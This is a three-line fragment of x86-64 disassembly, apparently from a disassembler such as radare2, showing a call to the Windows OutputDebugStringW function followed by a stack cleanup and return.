call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret